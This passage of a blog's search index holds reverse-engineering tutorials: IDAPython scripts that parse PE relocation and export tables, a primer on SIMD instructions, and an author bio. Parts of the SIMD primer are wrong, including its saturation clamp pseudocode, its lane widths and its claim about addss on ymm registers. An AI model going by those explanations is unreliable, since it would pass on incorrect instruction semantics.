mapped (collision)\nASLR (Address Space Layout Randomization) is another mechanism of Window which randomizes the ImageBase for security purpose\nTake a look at: https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#the-reloc-section-image-only\nThe base relocation table is often loaded in the .reloc section. However, you can also find it in the Data Directory 6\u0026rsquo;th element in the OptionalHeader of IMAGE_NT_HEADERS\nSo base relocation table is divided into multiple block. Each block represent for a 4K page. The reason why the divsion is necessary is due to the memory optimization (you can google this for more detail).\nSo each block contains many values.\nThe first one is the value that pointing to RVA of the 4K Page of current relocation block The second one is the size of the whole that relocation block. After the size is an array, represent the entry each entry is a WORD (2 bytes) number divided into 2 part. The 4 high bit part is the type the type that specify the operation need to do with the absolute address and the offset part is the 12 bit value, lead to the address need to be relocation. Script All thing is clear now, lets try to extract those attribute clearly. We will write a small script\nNow first of all we have to add type library MSSDK in ida like this. This is just for using struct like IMAGE_DOS_HEADER, \u0026hellip; etc The second one\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import idaapi as api dos_tp = api.Appcall.typedobj(\u0026#39;IMAGE_DOS_HEADER;\u0026#39;) inh_tp = api.Appcall.typedobj(\u0026#39;IMAGE_NT_HEADERS;\u0026#39;) def reloc_type_from_value(v: int) -\u0026gt; str: m = { 0: [\u0026#34;IMAGE_REL_BASED_ABSOLUTE\u0026#34;], 1: [\u0026#34;IMAGE_REL_BASED_HIGH\u0026#34;], 2: [\u0026#34;IMAGE_REL_BASED_LOW\u0026#34;], 3: [\u0026#34;IMAGE_REL_BASED_HIGHLOW\u0026#34;], 4: [\u0026#34;IMAGE_REL_BASED_HIGHADJ\u0026#34;], 5: [\u0026#34;IMAGE_REL_BASED_MIPS_JMPADDR\u0026#34;, \u0026#34;IMAGE_REL_BASED_ARM_MOV32\u0026#34;, \u0026#34;IMAGE_REL_BASED_RISCV_HIGH20\u0026#34;], 6: [\u0026#34;IMAGE_REL_BASED_RESERVED\u0026#34;], 7: [\u0026#34;IMAGE_REL_BASED_THUMB_MOV32\u0026#34;, \u0026#34;IMAGE_REL_BASED_RISCV_LOW12I\u0026#34;], 8: [\u0026#34;IMAGE_REL_BASED_RISCV_LOW12S\u0026#34;, \u0026#34;IMAGE_REL_BASED_LOONGARCH32_MARK_LA\u0026#34;, \u0026#34;IMAGE_REL_BASED_LOONGARCH64_MARK_LA\u0026#34;], 9: [\u0026#34;IMAGE_REL_BASED_MIPS_JMPADDR16\u0026#34;], 10: [\u0026#34;IMAGE_REL_BASED_DIR64\u0026#34;], } names = m.get(int(v)) if not names: return f\u0026#34;UNKNOWN({v})\u0026#34; return names[0] if len(names) == 1 else \u0026#34; / \u0026#34;.join(names) def retrieve(type, ea): ok, v = type.retrieve(ea) if not ok: print(f\u0026#39;Error ocurred!\u0026#39;) return None return v def dump_reloc_address(base): print(f\u0026#39;Program ImageBase {base:#x}\u0026#39;) dos = retrieve(dos_tp, base) if not dos: return inh_ea = base + dos.e_lfanew inh = retrieve(inh_tp, inh_ea) if not inh: return; reloc_tbl = inh.OptionalHeader.DataDirectory[\u0026#39;5\u0026#39;] reloc_addr = reloc_tbl.VirtualAddress + base reloc_addr_end = reloc_addr + reloc_tbl.Size count = 0 while reloc_addr \u0026lt; reloc_addr_end: count += 1 Addr = api.get_wide_dword(reloc_addr) + base Size = api.get_wide_dword(reloc_addr + 4) number_of_entries = (Size - 8) // 2 print(f\u0026#39;Relocation Table #{count}, Address {reloc_addr:#x} ----\u0026gt; {Addr:#x} / {Size} / {number_of_entries}\u0026#39;) for i in range(number_of_entries): entry = api.get_wide_word(reloc_addr + 8 + 2 * i) type = entry \u0026gt;\u0026gt; 12 offset = entry \u0026amp; 0xFFF fixup_addr = Addr + offset if type != 0: print(f\u0026#39;Entry #{i} Type: {type} Offset {offset} ----\u0026gt; Fixup {fixup_addr:#x} Type: {reloc_type_from_value(type)}\u0026#39;) reloc_addr += Size print(\u0026#39;\u0026#39;) api.msg_clear() dump_reloc_address(api.get_imagebase()) You can open abitrary EXE/DLL file on your window computer or download on the internet and load it into IDA and use this script for testing.\nIf you found any misleading knowledge or something about my understanding, please comment I will fix it!\n","permalink":"https://ryouthecat.github.io/posts/misc/relocationtableinpe/","summary":"\u003cp\u003e\u003cstrong\u003eProlouge\u003c/strong\u003e: The purpose of this page is to describe what is Relocation in Window PE and analyze Relocation Table in Window PE!\u003c/p\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eBasically, Relocation is just a loader apply the base relocation table to fix all aboslute value of (EXE/DLL) files if they were not loaded into the prefered ImageBase. This can happen due to ASLR mechanism or due to the fact that the expected loading base has been mapped (collision)\u003c/p\u003e","title":"Relocation Table In PE"},{"content":"Prolouge: The purpose of this page is in order to figure out what is export table in PE file and how the OS find the export function used for others program\nThis post is related to PE HEADER knowledges!\nIntroduction First of all we need to understand what is data directory. Basically, Data directory is just an attribute in the IMAGE_OPTIONAL_HEADER which belongs to IMAGE_NT_HEADER which also be coordinated by IMAGE_DOS_HEADER e_lfanew attribute.\nDeep into data directory element, the data directory itself, is an array or a table contains lots of thing used to manage many stuff by operating system. And the first one is export table which hold two value. The RVA lead to the IMAGE_EXPORT_DIRECTORY and the size of Export Table.\nGeninuelly, the IMAGE_EXPORT_DIRECTORY is a struct that remain those values Source: https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table\nThe value that we must take a look here is from Ordinal Base to Ordinal Table RVA\nNow the IMAGE_EXPORT_DIRECTORY contains 3 table.\nExport Address Table EAT contains an array of DWORD that each lead to the specific function in the program or a string if that is a forwarded export function. This table has Addres Table Entries size Name Pointer RVA, which is an array of DWORD (4 bytes) stores the RVA directly to the name of the function with null terminated char. The Ordinal Table RVA which is an array of WORD (2 bytes) stores the index (0-based index) which is used for locating the function in EAT Both 2 and 3 has Number of Name Pointers size Now what is actually Ordinal Base. Well bascially, by concept there are two different ordinal base. The one used as importer to search suitable function (importer request) called Ordinal Number, others is used for locating the function in the program (export table lookup value) called Ordinal index. However, The formular and relationship of those is.\nOrdinal Number = Ordinal Base + Ordinal Index Ordinal Index = Ordinal Number - Ordinal Base\nThe process of tracing function in the exporter program.\nFor example you require a function HelloWorld(). Now first of all the OS will find the function name in the AddressOfName (Name Pointer RVA) and filter out the index in that table called X. After that extracting the ordinal index from Ordinal Table RVA using the value X, call this value is Y The value Y will be used in order to access the function in the EAT Note Edge Case: For example you don\u0026rsquo;t have the function name like HelloWorld but you just have an ordinal number. The OS will do some calculation with Ordinal Base. More specifically, your ordinal number will be minus to ordinal base then that value will be used as the X value (skip the step 1)\nScript All thing is clear now, lets try to extract those attribute clearly. We will write a small script using Ipyida or Idapython i don\u0026rsquo;t really know the name lol.\nNow first of all we have to add type library MSSDK in ida like this. This is just for using struct like IMAGE_DOS_HEADER, \u0026hellip; etc The second one\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import idaapi as api dos_tp = api.Appcall.typedobj(\u0026#39;IMAGE_DOS_HEADER;\u0026#39;) idd_tp = api.Appcall.typedobj(\u0026#39;IMAGE_DATA_DIRECTORY;\u0026#39;) inh_tp = api.Appcall.typedobj(\u0026#39;IMAGE_NT_HEADERS32;\u0026#39;) ied_tp = api.Appcall.typedobj(\u0026#39;IMAGE_EXPORT_DIRECTORY;\u0026#39;) def main(base): ok, dos = dos_tp.retrieve(base) if not ok: return inh_ea = dos.e_lfanew + base ok, inh = inh_tp.retrieve(inh_ea) if not ok: return eid = inh.OptionalHeader.DataDirectory[\u0026#39;0\u0026#39;] ied_start = eid.VirtualAddress + base ied_end = ied_start + eid.Size print(f\u0026#39;INH: {inh_ea:x} Start {ied_start:x} End: {ied_end:x} EID SZ: {eid.Size:x}\u0026#39;) ok, ied = ied_tp.retrieve(ied_start) if not ok: return eat = ied.AddressOfFunctions + base namesAddress = ied.AddressOfNames + base ordinalsName = ied.AddressOfNameOrdinals + base ordinalBase = ied.Base numNames = ied.NumberOfNames print(f\u0026#39;EAT {eat:x} NameAddress {namesAddress:x} OrdinalsName {ordinalsName:x} numNames {numNames}\u0026#39;) ntable = {} otable = {} #Print all current function in the EAT with their address if numNames != 0: for i in range(numNames): name_ea = base + api.get_wide_dword(namesAddress + 4 * i) name_str = idc.get_strlit_contents(name_ea).decode() print(f\u0026#39;Address {name_ea:x} has function {name_str}\u0026#39;) ntable[i] = name_str otable[api.get_wide_word(ordinalsName + i * 2)] = i # Loop through functions for i in range(ied.NumberOfFunctions): func_addr = base + api.get_wide_dword(eat + 4 * i) if func_addr == base: continue ordinalNumber = ordinalBase + i lookup = otable.get(i, -1) if ied_start \u0026lt;= func_addr \u0026lt;= ied_end: # This is forward function fw_name = idc.get_strlit_contents(func_addr).decode() print(f\u0026#39;Ord: {ordinalNumber} Address: {func_addr} Name {ntable[lookup]} forward to {fw_name}\u0026#39;) continue # This is function that belongs to this program if lookup == -1: print(f\u0026#39;Ord: {ordinalNumber} Address: {func_addr:x}\u0026#39;) else: print(f\u0026#39;Ord: {ordinalNumber} Address: {func_addr:x} Name: {ntable[lookup]}\u0026#39;) api.msg_clear() main(api.get_imagebase()) You can open abitrary DLL file on your window computer or download on the internet and load it into IDA and use this script for testing.\nIf you found any misleading knowledge or something about my understanding, please comment I will fix it!\nThis post references: https://www.youtube.com/watch?v=VjxPWbUJI9A\n","permalink":"https://ryouthecat.github.io/posts/misc/exporttableinpe/","summary":"\u003cp\u003e\u003cstrong\u003eProlouge\u003c/strong\u003e: The purpose of this page is in order to figure out what is export table in PE file and how the OS find the export function used for others program\u003c/p\u003e\n\u003cp\u003eThis post is related to PE HEADER knowledges!\u003c/p\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eFirst of all we need to understand what is data directory. Basically, Data directory is just an attribute in the \u003ccode\u003eIMAGE_OPTIONAL_HEADER\u003c/code\u003e which belongs to \u003ccode\u003eIMAGE_NT_HEADER\u003c/code\u003e which also be coordinated by \u003ccode\u003eIMAGE_DOS_HEADER\u003c/code\u003e \u003ccode\u003ee_lfanew\u003c/code\u003e attribute.\u003c/p\u003e","title":"Export Table In PE"},{"content":"What is SIMD? SIMD (Single Instruction, Multiple Data) is a CPU architecture technique which is created for handling multiple data at the same time, which increase effectiveness and performance. It is well used to simultaneously calculate repeative task in such as graphic handling, computer sciencies. Today, I will concentrate on explain and list out some simd instruction that is useful and widely used in some reverse engineering task. This blog aim to teach you survive while reading many SIMD instruction, it will teach you how to infer the usage of SIMD instruction instead of list out all the available stuff\nExplanation First we have a few things we need to know first\nSIMD register sizes xmm = 128-bit register ymm = 256-bit register zmm = 512-bit register And from some primitive size we have known byte, word, dword, qword We could easily calculate that xmm is\n16 x uint_8 8 x uint_16 .... And so on For example paddb xmm0, xmm1 is translated into\n1 2 for i in range(16): xmm0.u8[i] += xmm1.u8[i] Mnemonic rules There is some suffix rules\nb, w, d, q is respectively byte, word, dword, qword For example\npaddb is add packed bytes paddw is add packed words There is also some floating-point suffixes (this is important!!)\nps is packed single-precision float, 32-bit float vector pd is packed double-precision float, 64-bit float vector ss is scalar single float, only one 32-bit float sd is scalar double float, only one 64-bit float Vector is similar to packed, which stores multiple data with the same data size Instruction example\nFor example\n1 2 3 4 addps xmm0, xmm1 is adding 4 packed 32-bit float addpd ymm0, ymm1 is adding 4 packed 64-bit float addss xmm0, xmm1 is adding low 32-bit float addss ymm0, ymm1 is adding low 64-bit float One more important note here is packed is vector (mentioned above) and scalar operation only affects the low element In this section we have to understand and remember clearly the SIMD data type as well as its suffixes meaning\nAVX / SSE rules SSE style is what our examples above illustrate, it usually has two operands For example: addps xmm0, xmm1 Which means\n1 2 for i in range(4) xmm0.f32[i] += xmm1.f32[i] Whereas AVX style usually comprise of 3 operands with a clearer type definition For example vpaddb xmm0, xmm1, xmm2 Which means xmm0 = xmm1 + xmm2 We could easily see AVX often has the v prefix\nSIMD instruction family Load/Stores 1 2 3 4 5 6 movdqu xmm0, [rsp] movdqa xmm0, [rsp] movaps, ymm0, [rsp] vmovdqa, ymm0, [rsp] vmovdqu, ymm0, [rsp] vmovusd, ymm0, [rsp] a/u is respectively aligned and unaligned In aligned mode, the address we used to load must be aligned (which is divisible) by the data type of SIMD register (16/32/64)\nBitwise pxor, pand, por, pandn vpxor, vpand, vpor, vpandn\nArithmetic paddb/w/d/q psubb/w/d/q pmullwd Fact: There is no pmullb because bytes is super easy to get overflowed, so in CTF many people often do unpack to 16bit -\u0026gt; pmullw -\u0026gt; pack back to 8 bytes These padd/psub consume overflowed bit. Often called non saturating arithmetic Fact: There is no signed or unsigned in this situation\nSaturing Arithmetic These operation wont comsume the overflowed bit, they will clamp it\n1 2 3 4 5 paddsb = signed byte add paddusb = unsigned byte add psubsb = signed byte sub psubusb = unsigned byte sub ... For example\n1 paddusb xmm0, xmm1 Is\n1 2 3 4 for i in range(16): xmm0.u8[i] = xmm0.u8[i] + xmm1.u8[i] if OF flag: xmm0.u8[i] = 0xff Multiplication We mentioned above but here is a more detail explanation\n1 2 3 4 pmullw = mull 16-bit lanes, remain 16-bit low pmulhw = mull 16-bit lanes, remain 16-bit high pmulhwu = unsigned mull 16-bit lanes, remain 16-bit high .... For example\n1 pmullw xmm0, xmm1 Is equal to\n1 2 for i in range(16) xmm0.16[i] = low_16_bit(xmm0.16[i] * xmm1.16[i]) Comparision Formular pcmp[type][data_type] For example\npcmpeqw = compare packed word if equal pcmpgtw = compare packed word if greater Visualize\n1 pcmpeqb xmm0, xmm1 is\n1 2 for i in range(8): xmm0.u8[i] = (xmm0.u8[i] == xmm1.u8[i]) ? 0xff : 0x00 The comparision operation should return the whole bit on/off not just only 1 or 0\nVector mask to scalar This is a very important knowledge and feature used in many CTF challenge\n1 pmovmskb eax, xmm0 It would take every bit of each lane and pack them into register (eax in this case) Regular pattern in CTF we will meet\n1 2 3 4 5 pcmpeqb xmm0, xmm1 pmovmskb eax, xmm0 cmp eax, 0xffff jz equal_branch diff_branch or we could use this really fast pattern\n1 2 ptest xmm0, xmm0 jz fail Shuffle This is the most interesting features and in my opinion I see this commonly in many challenge Reverse Engineering related to SIMD instruction For example\n1 2 3 4 5 pshufb pshufw pshufld pshufhw ... pshufb xmm0, xmm1 is a bit simpler than other types, the mask is exactly xmm1, if you learned crypto it looks like a small permunation sbox that can be showed like\n1 2 3 4 5 for i in range(16): if xmm1.u8[i] \u0026amp; 0x80: xmm0.u8[i] = 0 else: xmm0.u8[i] = old_xmm0.u8[xmm1.u8[i] \u0026amp; 0x0F] Others have one more 8-bit immediate act like a mask like ins dest, src, mask\nUnpack You can see those instruction\n1 2 3 punpcklbw punpckhbw ... This is instruction\u0026rsquo;s formular\npunpck = unpacking packed l/h = low/high half bw/wd/dq = byte to word / word to dword / dword to qword It will get the low or high part of the two source register and unpack into a larger datatype Example\n1 punpcklbw xmm0, xmm1 xmm0 = [a0 a1 a2 a3 a4 a5 a6 a7 ...] | |=\u0026gt; xmm0 = [a0 b0 a1 b1 a2 b2 a3 b3 ...] xmm1 = [b0 b1 b2 b3 b4 b5 b6 b7 ...] | Or\n1 punpckhbw xmm0, xmm1 xmm0 = [a0 a1 a2 a3 a4 a5 a6 a7 ...] | |=\u0026gt; xmm0 = [a8 b8 a9 b9 a10 b10 a11 b11 ...] xmm1 = [b0 b1 b2 b3 b4 b5 b6 b7 ...] | Pack This is the opposite site of unpack instruction For example\n1 2 3 4 packsswb packuswb packssdw packusdw Name meaning\npackss = pack signed with signed saturation packus = pack unsigned with unsigned saturation wb/dw = word to byte/ dword to word This is simple clamp all signed/unsigned words/dwords value back into byte/word. Then pack it For example\n1 2 3 4 5 6 7 8 9 10 11 12 13 # packsswb xmm0, xmm1 def clamp(x): if x \u0026lt; -127: return 127 if x \u0026gt; 128 return 128 return x for i in range(16) if (i \u0026lt; 8) res[i] = clamp(xmm0.u16[i]) else: res[i] = clamp(xmm1.u16[i - 8]) xmm0.u8 = res Shift 1 2 3 psllw/pslld/psllq psrlw/psrld/psrlq psraw/psrad Formular\nps = shift prefix l/r = left/right l/a = logical/arithmetic w/d/q = data type Logical is unsigned shift while arithmetic is signed shift\nHorizontal operation Normal instructions work lane-by-lane This instruction combines lane For example\nphaddw phaddd haddps haddpd psadbw Visualize\n1 2 3 4 # phaddw xmm0, xmm1 xmm0 = [ A0, A1, A2, A3, A4, A5, A6, A7 ] xmm1 = [ B0, B1, B2, B3, B4, B5, B6, B7 ] Result = [ A0+A1, A2+A3, A4+A5, A6+A7, B0+B1, B2+B3, B4+B5, B6+B7 ] psadbw is command instruction which is sum of absolute differences of bytes\n1 2 3 4 5 6 sum_low = 0 sum_high = 0 for i in range(8) sum_low += abs(xmm0.u8[i] - xmm1.u8[i]) sum_high += abs(xmm0.u8[i + 8] - xmm1.u8[i + 8]) xmm0.u16 = [sum_low, 0, 0, 0, sum_high, 0, 0, 0] Blend / Select For example\n1 2 3 4 5 pblendw blendps blendpd vpblendd vpblendvb It means choose some lanes from first source and some lanes from second source, then combine them\n1 2 3 # pblendw xmm0, xmm1, 123 for (int i = 0; i \u0026lt; 8; ++i) xmm0.u16[i] = mask[i] ? xmm0.u16[i] : xmm1.u16[i] Conversation Instructions Example\n1 2 3 4 5 6 pmovsxbd pmovzxbd pmovsxbw pmovzxbw cvtdq2ps cvtps2dq Rules\npmovsx = packed move with signed-extension pmovzx = packed move with unsigned-extension 1 2 3 # pmovsxbw xmm0, [rax] for i in range(4) xmm0.u32[i] = *(int8_t *)((char *)rax + i) Others are\ncvtdq2ps = convert double qword to packed singled-precision float cvtps2dq = is reverse Important Notes How to infer the instruction meaning? Lets take a look at this\n1 vpmovzxbd xmm0, [rax] We could see that v is AVX form p is packed vector movzx is move with zero extended bd is byte to dword So this instruction is belongs to conversation instruction which move bytes from rax (zero extended) to dword in SIMD register\n1 vpcmpeqb ymm0, ymm1, ymm2 We could see that v is AVX form p is packed vector cmpeq is compare if equal b is byte So this instruction is equivalent to\n1 2 for (int i = 0; i \u0026lt; 32; ++i)) ymm0.u8[i] = (ymm1.u8[i] == ymm2.u8[i]) ? 0xff : 0x00 1 vpshufd xmm0, xmm1, 0x1b We could see that v is AVX form p is packed vector shuf is shuffle type d is dword So this instruction is reorder 32-bit lanes xmm1 to xmm0 using mask 0x1b\nSigned and Unsigned / Saturation or Wraparound Becareful about which instruction is used as signed number or vice versa Take care of these\n1 2 3 4 5 6 7 8 9 pcmpgtb pmulhw pmulhuw paddsb paddusb pmovsx pmovzx packss packus And saturation is limit by the max bound or min bound whereas wraparound means take the normal number with overflowed bit become zero\nShuffle is layout not math Do not trying to think shuffle as mathematic operation, it just an operation performed by a prebuilt layouts\nHow to read this better I\u0026rsquo;m not really sure if I can read this better but in my really short-term experience SIMD instruction is often used to optimized a simple operation, not too complicated because this is used on a repeated data, so complicated logic would not be easily used these instruction (unless the author deliberate it in some specific challenge) The SIMD instruction is read by layouts\nFor example it usually includes normal assembly instruction hints like mov/cmp/add/xor/and/mul... with data type byte/word/dword/qword Some special is v for AVX form, p for packed vector, ps/pd/ss/sd or saturation operation ss/us or some transformation like bd = byte to dword or bw = byte to word\nMoreover there is a familiar pattern\nRead/load data Reshape data Transform data Compare data Collapse data Store/Write data Decide next branch Some familar SIMD instruction you first need to remember (GPT recommended :D)\nmovdqu / vmovdqu load/store vector pxor / vpxor xor / zero register / xor key pand / por bitwise logic paddb/w/d add lanes psubb/w/d subtract lanes paddusb / paddsb saturating add psubusb / psubsb saturating sub pmullw / pmulld multiply lanes pcmpeqb/w/d compare equal pcmpgtb/w/d compare greater-than pmovmskb vector mask to scalar ptest test vector mask pshufb byte shuffle pshufd dword shuffle punpcklbw/hbw interleave / widen bytes packuswb / packsswb narrow with saturation psll/psrl/psra shifts psadbw sum absolute byte differences One more important note is if you\u0026rsquo;re a IDA user, IDA often has their own SIMD instruction helper in C-like pseudocode, this is easier to read and understand but prepare some knowledge about SIMD instruction in assembly levels would help you read it easier\nHuge thanks for those who read till there!! This blog is not only made for sharing knowledge but also for me to remember those ^^. You could refer this blog and rewrite in your styles, while writing it would help you remember stuff easier Don\u0026rsquo;t forget to jump into some exercise challenge to get more familar with these SIMD :D Seee yahhhh!\n","permalink":"https://ryouthecat.github.io/posts/misc/simd/","summary":"\u003ch2 id=\"what-is-simd\"\u003eWhat is SIMD?\u003c/h2\u003e\n\u003cp\u003eSIMD (Single Instruction, Multiple Data) is a CPU architecture technique which is created for handling multiple data at the same time, which increase effectiveness and performance. It is well used to simultaneously calculate repeative task in such as graphic handling, computer sciencies. Today, I will concentrate on explain and list out some simd instruction that is useful and widely used in some reverse engineering task. This blog aim to teach you survive while reading many SIMD instruction, it will teach you how to infer the usage of SIMD instruction instead of list out all the available stuff\u003c/p\u003e","title":"SIMD"},{"content":"","permalink":"https://ryouthecat.github.io/archives/","summary":"","title":""},{"content":"Hello, My name is Anh Thi (AKA TAT). I\u0026rsquo;m just a rookie CTF player who is trying to get better at reverse engineering\nI\u0026rsquo;ve been playing CTF with my friends in Themis since 2025\nI\u0026rsquo;m still learning a lot of things. If you want to teach me something, you could keep in touch with me on social media like discord :), I\u0026rsquo;m very pleasant to learn new things from you ^_^\n","permalink":"https://ryouthecat.github.io/about/","summary":"\u003cp\u003eHello, My name is Anh Thi (AKA TAT). I\u0026rsquo;m just a rookie CTF player who is trying to get better at reverse engineering\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve been playing CTF with my friends in \u003ca href=\"https://ctftime.org/team/419159\"\u003eThemis\u003c/a\u003e since 2025\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m still learning a lot of things. If you want to teach me something, you could keep in touch with me on social media like discord :), I\u0026rsquo;m very pleasant to learn new things from you ^_^\u003c/p\u003e","title":"About Me"}]